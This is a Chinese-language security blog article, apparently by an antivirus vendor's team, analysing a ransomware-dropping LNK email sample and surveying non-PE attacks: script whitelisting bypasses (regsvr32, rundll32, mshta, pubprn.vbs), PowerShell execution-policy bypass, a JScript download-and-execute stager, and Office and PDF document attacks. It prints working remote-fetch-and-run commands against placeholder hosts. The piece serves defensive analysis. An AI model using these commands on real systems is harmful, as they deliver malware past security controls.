浅谈非PE的攻击技巧
作者:admin | 时间:2017-8-21 11:24:14 | 分类:黑客技术 隐藏侧边栏展开侧边栏
背景
近日,金山毒霸安全中心捕获到一例利用邮件传播的非PE样本,类型为lnk快捷方式文件,执行后会下载勒索病毒,最终会加密用户机器上的文档、图片、视频等重要文件。
引言
攻击者,通过社工(社会工程),将邮件发送到受害者邮箱中,以下是攻击者发送来的邮件。
附件即为压缩后的样本,解压之后是一个单独的lnk文件,具体信息如下图
通过工具分离lnk参数,结果如下:
指向路径:
C:\Windows\system32\mshta.exe
传递参数:
about:<script src='hxxp://neya-***.ru/config.ini'></script>https://mail.ru/ hxxps://google.com / https://yandex.ru"
双击执行lnk文件,%temp%下生成的文件如下,其中rad96A5F.exe就是勒索病毒,
rad96A5F.exe被执行后,文档、图片、视频等重要文件被加密,同时生成README文件
这是一个典型的以邮件作为传播媒介,以非PE文件作为攻击载荷的攻击过程。本文将以该案例为切入点,针对现有的非PE攻击手法进行分析与总结,内容包括脚本类型以及文档类型攻击,下面开始今天的正文。
正文
一、脚本攻击
1.JScript,VBScript还是PowerShell?
JScript,由微软开发的活动脚本语言,典型脚本后缀名.js
VBScript,基于Visual Basic程序语言的脚本语言,典型脚本后缀名称.vbs
PowerShell,可以认为是增强型CMD,典型脚本后缀名称.ps1
通过对16年下半年与17年上半年样本类型进行分析, 其中JScript与VBScript的比例为7:3,以单独文件存在的PowerShell攻击脚本少之又少,但其在文档攻击中却颇为常见。
2.对抗&绕过
2.1 猜猜我是谁
对于杀软厂商来讲,PE文件类型的识别较为容易,因为它们有固定的格式以及标记,但对于非PE样本来讲,识别文件类型是一个比较困难的问题,通常有两种可选方案,各有优缺点,方案a: 后缀识别方案b: 特征识别对于方案a来讲,以js、vbs为例,识别的结果并不可靠,常见对抗方法:
1.将js修改为jse,vbs修改为vbe,当然也可以放在wsf脚本中
2.无后缀或者其他后缀,通过wscript //e: <engine>或者cscript //e: <engine>方式执行
对于方案b来讲,常见对抗方法:
1.脚本文件头部,中间,尾部插入格式控制字符
2.对关键代码进行编码,混淆等操作
2.2 优雅抱大腿
白名单机制可以尽可能的减少对正常操作者的误报情况发生,尤其在一些特定的受限环境中。所以寻找在白名单中的执行体就找到了一个”大腿”。wscript与cscript作为js,vbs脚本的宿主进程,在大多数情况下这些脚本都能顺利执行,但如果在某些受限环境下,只允许白名单内的脚本文件执行,这时就需要一些白名单利用技巧,
2.2.1 regsvr32.exe
regsvr32是一个注册动态链接库的命令行工具
命令行方式
regsvr32 /u /n] dllname
常见利用技巧
regsvr32 /s /n /u /i:http://XXX/a.sct scrobj.dll
其中sct脚本脚本如下
<?XML version="1.0"?>
<scriptlet>
<registration
progid="a"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<scriptlanguage="JScript">
<![CDATA[
newActiveXObject("WScript.Shell").Run("calc");
]]>
</script>
</registration>
</scriptlet>
2.2.2 rundll32.exe
rundll32.exe可以运行DLL文件,使用方法如下:命令行格式:rundll32.exe <dllname>,<entrypoint> <optional arguments>可以用如下命令行执行JS代码
rundll32.exejavascript:"..\mshtml,RunHTMLApplication";new%20ActiveXObject("WScript.Shell").Run("calc");window.close();
2.2.3 mshta.exe
mshta.exe作为.hta文件的宿主进程,其执行js代码的命令行方式如下:
mshta.exe"javascript:new%20ActiveXObject("WScript.Shell").Run("calc");window.close()"
2.2.4 GetObject对象注入技术
2017年举办于纳什维尔的BSides会议上,Casey Smith与Matt Nelson做了一个演讲,当中提到了利用GetObject函数绕过受限系统的白名单防护,其中一个利用PubPrn.vbs脚本(已被微软签名),
中文系统位于
C:\Windows\System32\Printing_Admin_Scripts\zh-CN
英文系统位于
C:\Windows\System32\Printing_Admin_Scripts\en-US
典型的利用方式如下
cscript /bC:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs test"script:http://192.168.163.1/aaa.sct"
2.2.5 PowerShell Execution Policy绕过
PowerShell作为增强型CMD,其功能不可不说强大,一个简单的下载执行代码如下:
powershell-nop -c "iex(New-ObjectNet.WebClient).DownloadString('http://xxx/test.ps1')"
但如果遇到要执行本地文件,则可能遇到Execution Policy而被拦截,
比较流行的绕过方式如下:
方式1
powershell -nop -execbypass ./runme.ps1
方式2
type ./runme.ps1 |PowerShell.exe -noprofile -
除过上述的绕过方法,当然也存在其他的绕过方式,具体可见此处。
2.3 喜欢装单纯
当然,能够借用白名单是比较好的,但为了保险起见,脚本自身也不能过分的表露自身意图,免的没有执行,就被直接干掉。从2016起年高度爆发的通过脚本进行下载传播敲诈者的案例数不胜数,一个典型的js下载执行代码如下
var oShell = new ActiveXObject("WScript.Shell");
var appdir = oShell.ExpandEnvironmentStrings("%temp%")+ "abc.exe";
url ="http://ab.cd/e";
var xmlHTTP = new ActiveXObject("Microsoft.XMLHTTP");
xmlHTTP.open("Get", url, false);
xmlHTTP.send();
var as = new ActiveXObject("ADODB.Stream");
as.Type =1;
as.Open();
as.write(xmlHTTP.responseBody);
as.SaveToFile(appdir, 2);
as.Close();
oShell.Run(appdir)
通常,恶意脚本并不会这么直接,经过简单的替换、编码就可以达到躲避静态特征分析,当然经过混淆操作能更好的掩盖自身目的,具体混淆方式,可参考此处。在脚本行为上,目前的趋势是“暴露尽可能少的代码”,常见的方式是通过2段代码分级执行,常见的第2级代码获取方式为联网下载,或者是从本机环境中进行获取(如:进程环境,注册表,事件日志),而第2级类型通常为一个PE文件,而目前对于第2级PE的执行方式,也渐渐从之前的直接允许转换到延迟执行,如下:通过设置计划任务方式在开机时执行,
3.Win10 AMSI机制
说点别的,微软在Win10系统上开放了AMSI(Antimalware Scan Interface)接口,AMSI接口通过扫描文件,内存、数据流、URL、IP等识别恶意行为,号称能够让利用windows内置host脚本隐藏或混淆的恶意脚本无所遁形。对于AMSI的具体介绍以及绕过方式可参见此处。
二、文档攻击
1.关于office文档攻击
一直以来,MicrosoftOffice 系列都是最流行的文字处理程序,并且Office系列拥有庞大的用户群体。正因如此,攻击者同样也喜欢利用Office系列作为载体。其中在Office系列中Word文档类型尤为突出。研究过程中, 我们观察到攻击者经常会通过电子邮件来进行传播大量包含了恶意文档的电子邮件,邮件内容是精心构造,以便诱导用户点击。
0×1、宏安全(恶意宏代码)
抽样统计显示,通过执行文档中的宏代码,直接下载恶意程序是目前攻击者使用的主要方式,用户打开文档中招后就会连接远端下载恶意程序,从而导致用户计算机中毒,攻击者使用这种攻击方式的好处是可以随时在云端替换下载文件,以达到自己想要的目的。
图:word中内嵌恶意宏代码,远程下载恶意程序
0×2、word文件诱导下载
此外,文档中直接捆绑恶意程序比例也较大,该类方式主要是直接将恶意程序捆绑在文档中。
0×3、Office漏洞攻击
典型的office CVE包含:CVE-2017-0199CVE-2017-8570 CVE-2015-1641CVE-2015-2545CVE-2012-0158
2017年3月爆出新漏洞CVE-2017-0199可谓是目前office漏洞中的No.1,该漏洞利用方法简单,漏洞影响范围广,Windows操作系统之上的所有Office版本,包括在Windows 10上运行的最新Office 2016均受影响,避免这种漏洞文档最直接的方法是及时更新补丁。
CVE-2017-0199 EXP程序中带恶意URL
2.关于pdf文档攻击
PDF(便携式文件格式,Portable Document Format)是由Adobe Systems在1993年用於文件交换所发展出的文件格式。因为PDF的文件格式性质广泛用于商业办公,引起众多攻击者对其开展技术研究,在一些APT(Advanced Persistent Threat)攻击中。针对特定目标投递含有恶意代码的PDF文档,安全意识薄弱的用户只要打开PDF文档就会中招。
0×0、释放运行
PDF中是允许包含docm文件。然后PDF中嵌入javascript代码,释放docm文件,并执行该文件
图:PDF中内嵌word文件
当选择打开文档后,docm文件将被执行。此时,docm中内嵌的恶意宏代码也相应的被执行
0×1、诱导下载
PDF会伪装成office 应用下载,当你点击下载后,很可能会是带有恶意的文档文件或者是恶意可执行文件
0×2、漏洞攻击
adobe Reader、Foxit等pdf阅读工具的漏洞攻击也是屡见不鲜,也有攻击者在pdf中加入恶意的payload进行攻击
0×3、钓鱼攻击
pdf钓鱼攻击案例:与其他垃圾邮件广告系列不同,我们在钓鱼攻击中看到的PDF不包含恶意软件或漏洞利用代码。相反,攻击者会依制作高仿制的钓鱼网页,如果此时你警惕性不高,将会泄露个人的敏感信息。如下图点击链接,你将进入一个假的Apple登录页面,该页面要求你输入Apple ID 以及你的密码信息。
图:伪造成APPLE官方的支付协定
说点其他的:
根据金山毒霸网址安全中心提供的数据显示,2017年虚假购物平台的钓鱼攻击,呈翻倍增涨趋势。造成了严重的网络交易安全隐患,广大网民的利益也因此受到了严重损害,不法分子利用虚假购物网站直接盗取用户的支付宝或银行账号或者以超低价格设置消费陷阱的山寨购物网站,以低价、打折等吸引买家上当。其危害性之大,不言而喻
三、总结
与PE相比,非PE拥有更多的攻击方式及技巧。对于杀毒软件厂商而言,检测与分析也极具挑战,可以想象彼此的攻防转换也不会有停止的那一刻,作为防守方,我们要做的还有很多。
*本文原创作者:渔村安全